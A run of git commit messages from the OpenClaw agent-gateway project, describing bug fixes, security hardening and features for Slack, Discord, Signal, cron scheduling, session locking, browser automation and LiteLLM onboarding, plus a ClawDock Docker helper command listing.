- P0: Use thread session key (not base session key) for new-session check
This ensures thread history is injected when the thread session is new,
even if the base channel session already exists.
- P1: Fetch up to 200 messages and take the most recent N
Slack API returns messages in chronological order (oldest first).
Previously we took the first N, now we take the last N for relevant context.
- P1: Batch resolve user names with Promise.all
Avoid N sequential API calls when resolving user names in thread history.
- P2: Include file-only messages in thread history
Messages with attachments but no text are now included with a placeholder
like '[attached: image.png, document.pdf]'.
- P2: Add documentation about intentional 200-message fetch limit
Clarifies that we intentionally don't paginate; 200 covers most threads.
* style: add braces for curly lint rule
* feat(slack): add thread.initialHistoryLimit config option
Allow users to configure the maximum number of thread messages to fetch
when starting a new thread session. Defaults to 20. Set to 0 to disable
thread history fetching entirely.
This addresses the optional configuration request from #2608.
* chore: trigger CI
* fix(slack): ensure isNewSession=true on first thread turn
recordInboundSession() in prepare.ts creates the thread session entry
before session.ts reads the store, causing isNewSession to be false
on the very first user message in a thread. This prevented thread
context (history/starter) from being injected.
Add IsFirstThreadTurn flag to message context, set when
readSessionUpdatedAt() returns undefined for the thread session key.
session.ts uses this flag to force isNewSession=true.
* style: format prepare.ts for oxfmt
* fix: suppress InboundHistory/ThreadStarterBody when ThreadHistoryBody present (#13912)
When ThreadHistoryBody is fetched from the Slack API (conversations.replies),
it already contains pending messages and the thread starter. Passing both
InboundHistory and ThreadStarterBody alongside ThreadHistoryBody caused
duplicate content in the LLM context on new thread sessions.
Suppress InboundHistory and ThreadStarterBody when ThreadHistoryBody is
present, since it is a strict superset of both.
* remove verbose comment
* fix(slack): paginate thread history context fetch
* fix(slack): wire session file path options after main merge
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
replyToMode "first"/"all" only filters replyToId but never generates
it — that required the LLM to emit [[reply_to_current]] tags. Inject
replyToCurrent:true on all payloads so applyReplyTagsToPayload sets
replyToId=currentMessageId, then let the existing mode filter decide
which replies keep threading (first only, all, or off).
Covers both final reply path (reply-payloads.ts) and block streaming
path (agent-runner-execution.ts).
Adds thread_ts and parent_user_id to the Slack message footer for thread
replies, giving agents awareness of thread context. Top-level messages
remain unchanged.
Includes tests verifying:
- Thread replies include thread_ts and parent_user_id in footer
- Top-level messages exclude thread metadata
* fix: replace file-based session store lock with in-process Promise chain mutex
Node.js is single-threaded, so file-based locking (open('wx') + polling +
stale eviction) is unnecessary and causes timeouts under heavy session load.
Replace with a simple per-storePath Promise chain that serializes access
without any filesystem overhead.
In a 1159-session environment over 3 hours:
- Lock timeouts: 25
- Stuck sessions: 157 (max 1031s, avg 388s)
- Slow listeners: 39 (max 265s, avg 70s)
Root cause: during sessions.json file I/O, await yields control and other
lock requests hit the 10s timeout waiting for the .lock file to be released.
* test: add comprehensive tests for Promise chain mutex lock
- Concurrent access serialization (10 parallel writers, counter integrity)
- Error resilience (single & multiple consecutive throws don't poison queue)
- Independent storePath parallelism (different paths run concurrently)
- LOCK_QUEUES cleanup after completion and after errors
- No .lock file created on disk
Also fix: store caught promise in LOCK_QUEUES to avoid unhandled rejection
warnings when queued fn() throws.
* fix: add timeout to Promise chain mutex to prevent infinite hangs on Windows
* fix(session-store): enforce strict queue timeout + cross-process lock
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* fix(security): distinguish webhooks from internal hooks in audit summary
The attack surface summary reported a single 'hooks: disabled/enabled' line
that only checked the external webhook endpoint (hooks.enabled), ignoring
internal hooks (hooks.internal.enabled). Users who enabled internal hooks
(session-memory, command-logger, etc.) saw 'hooks: disabled' and thought
something was broken.
Split into two separate lines:
- hooks.webhooks: disabled/enabled
- hooks.internal: disabled/enabled
Fixes#13466
* test(security): move attack surface tests to focused test file
Move the 3 new hook-distinction tests from the monolithic audit.test.ts
(1,511 lines) into a dedicated audit-extra.sync.test.ts that tests
collectAttackSurfaceSummaryFindings directly. Avoids growing the
already-large test file and keeps tests focused on the changed unit.
* fix: add changelog entry for security audit hook split (#13474) (thanks @mcaxtr)
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
The newly added 'resolved' field contains secrets after ${ENV}
substitution. This commit ensures redactConfigSnapshot also redacts
the resolved field to prevent credential leaks in config.get responses.
The initial fix using snapshot.parsed broke configs with $include directives.
This commit adds a new 'resolved' field to ConfigFileSnapshot that contains
the config after $include and ${ENV} substitution but BEFORE runtime defaults
are applied. This is now used by config set/unset to avoid:
1. Breaking configs with $include directives
2. Leaking runtime defaults into the written config file
Also removes applyModelDefaults from writeConfigFile since runtime defaults
should only be applied when loading, not when writing.
Fixes#6070
The config set/unset commands were using snapshot.config (which contains
runtime-merged defaults) instead of snapshot.parsed (the raw user config).
This caused runtime defaults like agents.defaults to leak into the written
config file when any value was set or unset.
Changed both set and unset commands to use structuredClone(snapshot.parsed)
to preserve only user-specified config values.
* fix(security): prevent String(undefined) coercion in credential inputs
When a prompter returns undefined (due to cancel, timeout, or bug),
String(undefined).trim() produces the literal string "undefined" instead
of "". This truthy string prevents secure fallbacks from triggering,
allowing predictable credential values (e.g., gateway password = "undefined").
Fix all 8 occurrences by using String(value ?? "").trim(), which correctly
yields "" for null/undefined inputs and triggers downstream validation or
fallback logic.
Fixes#8054
* fix(security): also fix String(undefined) in api-provider credential inputs
Address codex review feedback: 4 additional occurrences of the unsafe
String(variable).trim() pattern in auth-choice.apply.api-providers.ts
(Cloudflare Account ID, Gateway ID, synthetic API key inputs + validators).
* fix(test): strengthen password coercion test per review feedback
* fix(security): harden credential prompt coercion
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
Combines two complementary fixes for ghost reminder bug:
1. Filter HEARTBEAT_OK/exec messages (previous commit)
2. Embed actual event content in prompt (this commit)
Instead of static 'shown above' message, dynamically build prompt
with actual reminder text. Ensures model sees event content directly.
Credit: Approach inspired by @nyx-rymera's analysis in #13317Fixes#13317
- Add resetSystemEventsForTest() in beforeEach/afterEach
- Fix hardcoded status assertions (use toBeDefined + conditional checks)
- Prevents cross-test pollution of global system event queue
Addresses Greptile feedback on PR #15059
The heartbeat runner was incorrectly triggering CRON_EVENT_PROMPT
whenever ANY system events existed during a cron heartbeat, even if
those events were unrelated (e.g., HEARTBEAT_OK acks, exec completions).
This caused phantom 'scheduled reminder' notifications with no actual
reminder content.
Fix: Only treat as cron event if pending events contain actual
cron-related messages, excluding standard heartbeat acks and
exec completion messages.
Fixes#13317
Related #1926
Signal mentions were appearing as  (object replacement character)
instead of readable identifiers. This caused Clawdbot to misinterpret
messages and respond inappropriately.
Now parses dataMessage.mentions array and replaces the placeholder
character with @{uuid} or @{phone} from the mention metadata.
Fixes#5260
The DISCORD_THREAD_STARTER_CACHE Map was growing unbounded during
long-running gateway sessions, causing memory exhaustion.
This fix adds:
- 5-minute TTL expiry (thread starters rarely change)
- Max 500 entries with LRU eviction
- Same caching pattern used by Slack's thread resolver
The implementation mirrors src/slack/monitor/thread-resolution.ts
which already handles this correctly.
formatConsoleTimestamp previously used Date.toISOString() which always
returns UTC time (suffixed with Z). This confused users whose local
timezone differs from UTC.
Now uses local time methods (getHours, getMinutes, etc.) and appends the
local UTC offset (e.g. +08:00) instead of Z. The pretty style returns
local HH:MM:SS. The hasTimestampPrefix regex is updated to accept both
Z and +/-HH:MM offset suffixes.
Closes#14699
Skills install runs package manager install commands (npm, pnpm, yarn,
bun) without --ignore-scripts, allowing malicious npm packages to
execute arbitrary code via postinstall/preinstall lifecycle scripts
during global installation.
This is inconsistent with the security fix in commit 92702af7a which
added --ignore-scripts to both plugin installs (src/plugins/install.ts)
and hook installs (src/hooks/install.ts). Skills install was overlooked
in that change.
Global install (-g) is particularly dangerous as scripts execute with
the user's full permissions and can modify globally-accessible binaries.
* fix(gateway): increase WebSocket max payload to 5 MB for image uploads
The 512 KB limit was too small for base64-encoded images — a 400 KB
image becomes ~532 KB after encoding, exceeding the limit and closing
the connection with code 1006.
Bump MAX_PAYLOAD_BYTES to 5 MB and MAX_BUFFERED_BYTES to 8 MB to
support standard image uploads via webchat.
Closes#14400
* fix: align gateway WS limits with 5MB image uploads (#14486) (thanks @0xRaini)
* docs: fix changelog conflict for #14486
---------
Co-authored-by: 0xRaini <0xRaini@users.noreply.github.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
The UsageAccumulator sums cacheRead/cacheWrite across all API calls
within a single turn. With Anthropic prompt caching, each call reports
cacheRead ≈ current_context_size, so after N tool-call round-trips the
accumulated total becomes N × actual_context, which gets clamped to
contextWindow (200k) by deriveSessionTotalTokens().
Fix: track the most recent API call's cache fields separately and use
them in toNormalizedUsage() for context-size reporting. This makes
/status Context display accurate while preserving accumulated output
token counts.
Fixes#13698Fixes#13782
Co-authored-by: akari-musubi <259925157+akari-musubi@users.noreply.github.com>
* fix: prevent FD leaks in child process cleanup
- Destroy stdio streams (stdin/stdout/stderr) after process exit
- Remove event listeners to prevent memory leaks
- Clean up child process reference in moveToFinished()
- Also fixes model override handling in agent.ts
Fixes EBADF errors caused by accumulating file descriptors
from sub-agent spawns.
* Fix: allow stdin destroy in process registry cleanup
---------
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
Two fixes for Google Antigravity (Cloud Code Assist) reliability:
1. Forward-compat model fallback: pi-ai's model registry doesn't include
claude-opus-4-6-thinking. Add resolveAntigravityOpus46ForwardCompatModel()
that clones the opus-4-5 template so the correct api ("google-gemini-cli")
and baseUrl are preserved. Fixes#13765.
2. Fix thinking.signature rejection: The API returns Claude thinking blocks
without signatures, then rejects them on replay. The existing sanitizer
strips unsigned blocks, but the orphaned-user-message path in attempt.ts
bypassed it by reading directly from disk. Now applies
sanitizeAntigravityThinkingBlocks at that code path.
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Move appendCacheTtlTimestamp() to after prompt + compaction retry
completes instead of before. The previous placement inserted a custom
entry (openclaw.cache-ttl) between compaction and the next prompt,
which broke pi-coding-agent's prepareCompaction() guard — the guard
only checks if the last entry is type 'compaction', and the cache-ttl
custom entry made it type 'custom', allowing an immediate second
compaction at very low token counts (e.g. 5,545 tokens) that nuked
all preserved context.
Fixes#9282
Relates to #12170
After a successful launchctl kickstart, the stdout.write() for the
status message may fail with EPIPE if the receiving end has already
closed. Catch and ignore EPIPE specifically; re-throw other errors.
Closes#14234
Co-authored-by: Echo Ito <echoito@MacBook-Air.local>
* fix(gateway): drain active turns before restart to prevent message loss
On SIGUSR1 restart, the gateway now waits up to 30s for in-flight agent
turns to complete before tearing down the server. This prevents buffered
messages from being dropped when config.patch or update triggers a restart
while agents are mid-turn.
Changes:
- command-queue.ts: add getActiveTaskCount() and waitForActiveTasks()
helpers to track and wait on active lane tasks
- run-loop.ts: on restart signal, drain active tasks before server.close()
with a 30s timeout; extend force-exit timer accordingly
- command-queue.test.ts: update imports for new exports
Fixes#13883
* fix(queue): snapshot active tasks for restart drain
---------
Co-authored-by: Elonito <0xRaini@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
* fix: exclude maxTokens and token-count fields from config redaction
The /token/i regex in SENSITIVE_KEY_PATTERNS falsely matched fields like
maxTokens, maxOutputTokens, maxCompletionTokens etc. These are numeric
config fields for token counts, not sensitive credentials.
Added a whitelist (SENSITIVE_KEY_WHITELIST) that explicitly excludes
known token-count field names from redaction. This prevents config
corruption when maxTokens gets replaced with __OPENCLAW_REDACTED__
during config round-trips.
Fixes#13236
* fix: honor deleteAfterRun for one-shot 'at' jobs with 'skipped' status
Previously, deleteAfterRun only triggered when result.status was 'ok'.
For one-shot 'at' jobs, a 'skipped' status (e.g. empty heartbeat file)
would leave the job in state but disabled, never getting cleaned up.
Now deleteAfterRun also triggers on 'skipped' status for 'at' jobs,
since a skipped one-shot job has no meaningful retry path.
Fixes#13249
* Cron: format timer.ts
---------
Co-authored-by: nice03 <niceyslee@gmail.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
Twilio strips query parameters from WebSocket URLs in <Stream> TwiML,
so the auth token set via ?token=xxx never arrives on the WebSocket
connection. This causes stream rejection when token validation is enabled.
Fix: pass the token as a <Parameter> element inside <Stream>, which
Twilio delivers in the start message's customParameters field. The
media stream handler now extracts the token from customParameters,
falling back to query string for backwards compatibility.
Co-authored-by: McWiggles <mcwigglesmcgee@users.noreply.github.com>
- Guard against undefined/empty token in buildGatewayAuthConfig
- Automatically generate random token when token param is undefined, empty, or whitespace
- Prevents JSON.stringify from writing literal string "undefined" to config
- Add tests for undefined, empty, and whitespace token cases
Fixes#13756
Co-authored-by: Klawd Asklee <klawdebot@gmail.com>
* fix(gateway): handle async EPIPE on stdout/stderr during shutdown
The console capture forward() wrapper catches synchronous EPIPE errors,
but when the receiving pipe closes during shutdown Node emits the error
asynchronously on the stream. Without a listener this becomes an
uncaught exception that crashes the gateway, causing macOS launchd to
permanently unload the service.
Add error listeners on process.stdout and process.stderr inside
enableConsoleCapture() that silently swallow EPIPE/EIO (matching the
existing isEpipeError helper) and re-throw anything else.
Closes#13367
* guard stream error listeners against repeated enableConsoleCapture() calls
Use a separate streamErrorHandlersInstalled flag in loggingState so that
test resets of consolePatched don't cause listener accumulation on
process.stdout/stderr.
When internal tools (e.g. TTS) emit MEDIA:/tmp/... with absolute paths,
isValidMedia() correctly rejects them for security. However, the rejected
MEDIA: line was kept as visible text in the output, leaking the path to
the user.
Now strip MEDIA: lines that look like local paths even when the path
is invalid, so they never appear as user-visible text.
Closes#14365
Co-authored-by: Echo Ito <echoito@MacBook-Air.local>
When the gateway is installed as a macOS launch agent and no token is
configured, the service enters an infinite restart loop because launchd
does not inherit shell environment variables. Auto-generate a token
during `gateway install` when auth mode is `token` and no token exists,
matching the existing pattern in doctor.ts and configure.gateway.ts.
The token is persisted to the config file and embedded in the plist
EnvironmentVariables for belt-and-suspenders reliability.
Relates-to: #5103, #2433, #1690, #7749
* fix(an-08): apply security fix
Generated by staged fix workflow.
* fix(an-08): apply security fix
Generated by staged fix workflow.
* fix(an-08): stabilize bluebubbles auth fixture for security patch
Restore the default test password in createMockAccount and add a
fallback password query in createMockRequest when auth is omitted.
This keeps the AN-08 loopback-auth regression tests strict while
preserving existing monitor behavior tests that assume authenticated
webhook fixtures.
* fix(whatsapp): convert Markdown bold/strikethrough to WhatsApp formatting
* refactor: Move `escapeRegExp` utility function to `utils.js`.
---------
Co-authored-by: Luna AI <luna@coredirection.ai>
* fix(cron): pass agentId to runHeartbeatOnce for main-session jobs
Main-session cron jobs with agentId always ran the heartbeat under
the default agent, ignoring the job's agent binding. enqueueSystemEvent
correctly routed the system event to the bound agent's session, but
runHeartbeatOnce was called without agentId, so the heartbeat ran under
the default agent and never picked up the event.
Thread agentId from job.agentId through the CronServiceDeps type,
timer execution, and the gateway wrapper so heartbeat-runner uses the
correct agent.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* cron: add heartbeat agentId propagation regression test (#14140) (thanks @ishikawa-pro)
---------
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
Previously, if one cron job had a malformed schedule expression (e.g. invalid cron syntax),
the error would propagate up and break the entire scheduler loop. This meant one misconfigured
job could prevent ALL cron jobs from running.
Changes:
- Wrap per-job schedule computation in try/catch in recomputeNextRuns()
- Track consecutive schedule errors via new scheduleErrorCount field
- Log warnings for schedule errors with job ID and name
- Auto-disable jobs after 3 consecutive schedule errors (with error-level log)
- Clear error count when schedule computation succeeds
- Continue processing other jobs even when one fails
This ensures the scheduler is resilient to individual job misconfigurations while still
providing visibility into problems through logging.
Co-authored-by: Marvin <numegilagent@gmail.com>
* fix(cron): re-arm timer when onTimer fires during active job execution
When a cron job takes longer than MAX_TIMER_DELAY_MS (60s), the clamped
timer fires while state.running is still true. The early return in
onTimer() previously exited without re-arming the timer, leaving no
setTimeout scheduled. This silently kills the cron scheduler until the
next gateway restart.
The fix calls armTimer(state) before the early return so the scheduler
continues ticking even when a job is in progress.
This is the likely root cause of recurring cron jobs silently skipping,
as reported in #12025. One-shot (kind: 'at') jobs were unaffected
because they typically complete within a single timer cycle.
Includes a regression test that simulates a slow job exceeding the
timer clamp period and verifies the next occurrence still fires.
* fix: update tests for timer re-arm behavior
- Update existing regression test to expect timer re-arm with non-zero
delay instead of no timer at all
- Simplify new test to directly verify state.timer is set after onTimer
returns early due to running guard
* fix: use fixed 60s delay for re-arm to prevent zero-delay hot-loop
When the running guard re-arms the timer, use MAX_TIMER_DELAY_MS
directly instead of calling armTimer() which can compute a zero delay
for past-due jobs. This prevents a tight spin while still keeping the
scheduler alive.
* style: add curly braces to satisfy eslint(curly) rule
The `computeNextRunAtMs` function used `nowSecondMs - 1` as the
reference time for croner's `nextRun()`, which caused it to return the
current second as a valid next-run time. When a job fired at e.g.
11:00:00.500, computing the next run still yielded 11:00:00.000 (same
second, already elapsed), causing the scheduler to immediately re-fire
the job in a tight loop (15-21x observed in the wild).
Fix: use `nowSecondMs` directly (no `-1` lookback) and change the
return guard from `>=` to `>` so next-run is always strictly after
the current second.
Fixes#14164
Replace the full manual mock with importOriginal spread so new SDK
exports are available automatically. Only ChannelType, MessageType,
and Client are overridden — the rest come from the real module.
Prevents CI breakage when @buape/carbon adds exports (e.g. the
recent StringSelectMenu failure that blocked unrelated PRs).
Closes#13244
* fix(cli): exit with non-zero code when configure/agents-add wizards are cancelled
Follow-up to the onboard cancel fix. The configure wizard and
agents add wizard also caught WizardCancelledError and exited with
code 0, which signals success to callers. Change to exit(1) for
consistency — user cancellation is not a successful completion.
This ensures scripts that chain these commands with set -e will
correctly stop when the user cancels.
* fix(cli): make wizard cancellations exit non-zero (#14156) (thanks @0xRaini)
---------
Co-authored-by: Rain <rain@Rains-MBA-M4.local>
Co-authored-by: Sebastian <19554889+sebslight@users.noreply.github.com>
When creating a Discord thread without a messageId (standalone thread),
the Discord API defaults to type 12 (private). Most users expect public.
- Default standalone non-forum threads to ChannelType.PublicThread (11)
- Add optional type field to DiscordThreadCreate for explicit control
Closes#14147
When creating a Discord thread without a messageId, the API defaults
to type 12 (private thread) which is unexpected. This adds an explicit
type: PublicThread (11) for standalone thread creation in non-forum
channels, matching user expectations.
Closes#14147
The xAI /v1/responses API returns content in a structured format with
typed output blocks (type: 'message') containing typed content blocks
(type: 'output_text') and url_citation annotations. The previous code
only checked output[0].content[0].text without filtering by type,
which could miss content in responses with multiple output entries.
Changes:
- Update GrokSearchResponse type to include annotations on content blocks
- Filter output blocks by type='message' and content by type='output_text'
- Extract url_citation annotations as fallback citations when top-level
citations array is empty
- Deduplicate annotation-derived citation URLs
- Update tests for the new structured return type
Closes#13520
* feat: add LiteLLM provider types, env var, credentials, and auth choice
Add litellm-api-key auth choice, LITELLM_API_KEY env var mapping,
setLitellmApiKey() credential storage, and LITELLM_DEFAULT_MODEL_REF.
* feat: add LiteLLM onboarding handler and provider config
Add applyLitellmProviderConfig which properly registers
models.providers.litellm with baseUrl, api type, and model definitions.
This fixes the critical bug from PR #6488 where the provider entry was
never created, causing model resolution to fail at runtime.
* docs: add LiteLLM provider documentation
Add setup guide covering onboarding, manual config, virtual keys,
model routing, and usage tracking. Link from provider index.
* docs: add LiteLLM to sidebar navigation in docs.json
Add providers/litellm to both English and Chinese provider page lists
so the docs page appears in the sidebar navigation.
* test: add LiteLLM non-interactive onboarding test
Wire up litellmApiKey flag inference and auth-choice handler for the
non-interactive onboarding path, and add an integration test covering
profile, model default, and credential storage.
* fix: register --litellm-api-key CLI flag and add preferred provider mapping
Wire up the missing Commander CLI option, action handler mapping, and
help text for --litellm-api-key. Add litellm-api-key to the preferred
provider map for consistency with other providers.
* fix: remove zh-CN sidebar entry for litellm (no localized page yet)
* style: format buildLitellmModelDefinition return type
* fix(onboarding): harden LiteLLM provider setup (#12823)
* refactor(onboarding): keep auth-choice provider dispatcher under size limit
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
- Remove specific machine type (CX22) and pricing
- Hetzner pricing and server types change frequently
- Keep focus on technical approach rather than costs
- Add Infrastructure as Code section to Hetzner installation docs
- Links to community-maintained Terraform repositories
- Provides alternative for users preferring IaC workflows
- Includes cost estimate and feature overview
Related: Discussion #12532
* fix: enforce embedding model token limit to prevent 8192 overflow
- Replace EMBEDDING_APPROX_CHARS_PER_TOKEN=1 with UTF-8 byte length
estimation (safe upper bound for tokenizer output)
- Add EMBEDDING_MODEL_MAX_TOKENS=8192 hard cap
- Add splitChunkToTokenLimit() that binary-searches for the largest
safe split point, with surrogate pair handling
- Add enforceChunkTokenLimit() wrapper called in indexFile() after
chunkMarkdown(), before any embedding API call
- Fixes: session files with large JSONL entries could produce chunks
exceeding text-embedding-3-small's 8192 token limit
Tests: 2 new colocated tests in manager.embedding-token-limit.test.ts
- Verifies oversized ASCII chunks are split to <=8192 bytes each
- Verifies multibyte (emoji) content batching respects byte limits
* fix: make embedding token limit provider-aware
- Add optional maxInputTokens to EmbeddingProvider interface
- Each provider (openai, gemini, voyage) reports its own limit
- Known-limits map as fallback: openai 8192, gemini 2048, voyage 32K
- Resolution: provider field > known map > default 8192
- Backward compatible: local/llama uses fallback
* fix: enforce embedding input size limits (#13455) (thanks @rodrigouroz)
---------
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
* Heartbeat: inject cron-style current time into prompts
* Tests: fix type for web heartbeat timestamp test
* Infra: inline heartbeat current-time injection
* fix(pairing): show actual code in approval command instead of placeholder
The pairing reply shown to new users included the approval command with
a literal '<code>' placeholder. Users had to manually copy the code
from one line and substitute it into the command.
Now shows the ready-to-copy command with the real pairing code:
Before: openclaw pairing approve telegram <code>
After: openclaw pairing approve telegram abc123
Fixed in both the shared pairing message builder and the Telegram
inline pairing reply.
* test(pairing): update test to expect actual code instead of placeholder
---------
Co-authored-by: Echo Ito <echoito@MacBook-Air.local>
xAI's /v1/responses endpoint does not support the 'include' parameter,
returning 400 'Argument not supported: include'. Inline citations are
returned automatically when available — no explicit request needed.
Closes#12910
Co-authored-by: Luna AI <luna@coredirection.ai>
* fix: remap session JSONL chunk line numbers to original source positions
buildSessionEntry() flattens JSONL messages into plain text before
chunkMarkdown() assigns line numbers. The stored startLine/endLine
values therefore reference positions in the flattened text, not the
original JSONL file.
- Add lineMap to SessionFileEntry tracking which JSONL line each
extracted message came from
- Add remapChunkLines() to translate chunk positions back to original
JSONL lines after chunking
- Guard remap with source === "sessions" to prevent misapplication
- Include lineMap in content hash so existing sessions get re-indexed
Fixes#12044
* memory: dedupe session JSONL parsing
---------
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
* fix(browser): prevent permanent timeout after stuck evaluate
Thread AbortSignal from client-fetch through dispatcher to Playwright
operations. When a timeout fires, force-disconnect the Playwright CDP
connection to unblock the serialized command queue, allowing the next
call to reconnect transparently.
Key changes:
- client-fetch.ts: proper AbortController with signal propagation
- pw-session.ts: new forceDisconnectPlaywrightForTarget()
- pw-tools-core.interactions.ts: accept signal, align inner timeout
to outer-500ms, inject in-browser Promise.race for async evaluates
- routes/dispatcher.ts + types.ts: propagate signal through dispatch
- server.ts + bridge-server.ts: Express middleware creates AbortSignal
from request lifecycle
- client-actions-core.ts: add timeoutMs to evaluate type
Fixes#10994
* fix(browser): v2 - force-disconnect via Connection.close() instead of browser.close()
When page.evaluate() is stuck on a hung CDP transport, browser.close() also
hangs because it tries to send a close command through the same stuck pipe.
v2 fix: forceDisconnectPlaywrightForTarget now directly calls Playwright's
internal Connection.close() which locally rejects all pending callbacks and
emits 'disconnected' without touching the network. This instantly unblocks
all stuck Playwright operations.
closePlaywrightBrowserConnection (clean shutdown) now also has a 3s timeout
fallback that drops to forceDropConnection if browser.close() hangs.
Fixes permanent browser timeout after stuck evaluate.
* fix(browser): v3 - fire-and-forget browser.close() instead of Connection.close()
v2's forceDropConnection called browser._connection.close() which corrupts
the entire Playwright instance because Connection is shared across all
objects (BrowserType, Browser, Page, etc.). This prevented reconnection
with cascading 'connectOverCDP: Force-disconnected' errors.
v3 fix: forceDisconnectPlaywrightForTarget now:
1. Nulls cached connection immediately
2. Fire-and-forgets browser.close() (doesn't await — it may hang)
3. Next connectBrowser() creates a fresh connectOverCDP WebSocket
Each connectOverCDP creates an independent WebSocket to the CDP endpoint,
so the new connection is unaffected by the old one's pending close.
The old browser.close() eventually resolves when the in-browser evaluate
timeout fires, or the old connection gets GC'd.
* fix(browser): v4 - clear connecting state and remove stale disconnect listeners
The reconnect was failing because:
1. forceDisconnectPlaywrightForTarget nulled cached but not connecting,
so subsequent calls could await a stale promise
2. The old browser's 'disconnected' event handler raced with new
connections, nulling the fresh cached reference
Fix: null both cached and connecting, and removeAllListeners on the
old browser before fire-and-forget close.
* fix(browser): v5 - use raw CDP Runtime.terminateExecution to kill stuck evaluate
When forceDisconnectPlaywrightForTarget fires, open a raw WebSocket
to the stuck page's CDP endpoint and send Runtime.terminateExecution.
This kills running JS without navigating away or crashing the page.
Also clear connecting state and remove stale disconnect listeners.
* fix(browser): abort cancels stuck evaluate
* Browser: always cleanup evaluate abort listener
* Chore: remove Playwright debug scripts
* Docs: add CDP evaluate refactor plan
* Browser: refactor Playwright force-disconnect
* Browser: abort stops evaluate promptly
* Node host: extract withTimeout helper
* Browser: remove disconnected listener safely
* Changelog: note act:evaluate hang fix
---------
Co-authored-by: Bob <bob@dutifulbob.com>
Discussion: https://github.com/openclaw/openclaw/discussions/13528
## Checklist
- [x] **Mark as AI-assisted in the PR title or description** - Implemented by 🤖, reviewed by 👨💻
- [x] **Note the degree of testing** - fully tested and I use it myself
- [x] **Include prompts or session logs if possible (super helpful!)** - I can try doing a "resume" on a few sessions, but don't think it'll provide value. Lmk if this is a blocker.
- [x] **Confirm you understand what the code does** - It's simple :)
## Summary of changes
- **ClawDock** - Shell helpers replace verbose `docker-compose` commands with simple `clawdock-*` shortcuts
- **Zero-config setup** - First run auto-detects the OpenClaw project directory from common paths and saves the config for future use
- **No extra dependencies** - Just bash
- **Built-in auth & device pairing helpers** - `clawdock-fix-token`, `clawdock-dashboard`, etc to handle gateay setup, streamline web UI, etc...
- **Updated Docker docs** - Installation docs now include the optional ClawDock helper setup for users who want simplified container management
## Example Usage
```bash
$ clawdock-help
🦞 ClawDock - Docker Helpers for OpenClaw
⚡ Basic Operations
clawdock-start Start the gateway
clawdock-stop Stop the gateway
clawdock-restart Restart the gateway
clawdock-status Check container status
clawdock-logs View live logs (follows)
🐚 Container Access
clawdock-shell Shell into container (openclaw alias ready)
clawdock-cli Run CLI commands (e.g., clawdock-cli status)
clawdock-exec <cmd> Execute command in gateway container
🌐 Web UI & Devices
clawdock-dashboard Open web UI in browser (auto-guides you)
clawdock-devices List device pairings (auto-guides you)
clawdock-approve <id> Approve device pairing (with examples)
⚙️ Setup & Configuration
clawdock-fix-token Configure gateway token (run once)
🔧 Maintenance
clawdock-rebuild Rebuild Docker image
clawdock-clean ⚠️ Remove containers & volumes (nuclear)
🛠️ Utilities
clawdock-health Run health check
clawdock-token Show gateway auth token
clawdock-cd Jump to openclaw project directory
clawdock-config Open config directory (~/.openclaw)
clawdock-workspace Open workspace directory
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
🚀 First Time Setup
1. clawdock-start # Start the gateway
2. clawdock-fix-token # Configure token
3. clawdock-dashboard # Open web UI
4. clawdock-devices # If pairing needed
5. clawdock-approve <id> # Approve pairing
💬 WhatsApp Setup
clawdock-shell
> openclaw channels login --channel whatsapp
> openclaw status
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
💡 All commands guide you through next steps!
📚 Docs: https://docs.openclaw.ai
```\n\nCo-authored-by: Gustavo Madeira Santana <gumadeiras@gmail.com>
- Add [Historical context: ...] marker pattern to stripDowngradedToolCallText
- Apply stripDowngradedToolCallText in emitBlockChunk streaming path
- Previously only stripBlockTags ran during streaming, leaking [Tool Call: ...] markers to users
- Add 7 test cases for the new pattern stripping
* docs: clarify which workspace files are injected into context window (#12909)
The system prompt docs listed bootstrap files but omitted MEMORY.md,
which IS injected when present. This led users to assume memory files
are on-demand only and not consuming context tokens.
Changes:
- Add MEMORY.md to the bootstrap file list
- Note that all listed files consume tokens on every turn
- Clarify that memory/*.md daily files are NOT injected (on-demand only)
- Document sub-agent bootstrap filtering (AGENTS.md + TOOLS.md only)
Closes#12909
* docs: mention memory.md alternate filename in bootstrap list
Address review feedback: the runtime also injects lowercase memory.md
(DEFAULT_MEMORY_ALT_FILENAME) when present.
* docs: align memory bootstrap docs (#12937) (thanks @omair445)
---------
Co-authored-by: Luna AI <luna@coredirection.ai>
Co-authored-by: Sebastian <19554889+sebslight@users.noreply.github.com>
* Scripts: add sync-credits.py to populate maintainers/contributors from git/GitHub
* fix(credits): deduplicate contributors by GitHub username and display name
Extends stale automation timelines:
- Issues: 30 days stale → 14 days close (44 total, was 12)
- PRs: 14 days stale → 7 days close (21 total, was 8)
PR #13209
* fix(signal): enforce mention gating for group messages
Signal group messages bypassed mention gating, causing the bot to reply
even when requireMention was enabled and the message did not mention
the bot. This aligns Signal with Slack, Discord, Telegram, and iMessage
which all enforce mention gating correctly.
Fixes#13106
Co-Authored-By: Claude <noreply@anthropic.com>
* fix(signal): keep pending history context for mention-gated skips (#13124) (thanks @zerone0x)
---------
Co-authored-by: Yansu <no-reply@yansu.ai>
Co-authored-by: Claude <noreply@anthropic.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
* fix(ui): prioritize displayName over label in webchat session picker
The session picker dropdown in the webchat UI was showing raw session
keys instead of human-readable display names. resolveSessionDisplayName()
checked label before displayName and formatted displayName-based entries
as key (displayName) instead of displayName (key).
Swap the priority so displayName is checked first, and use a consistent
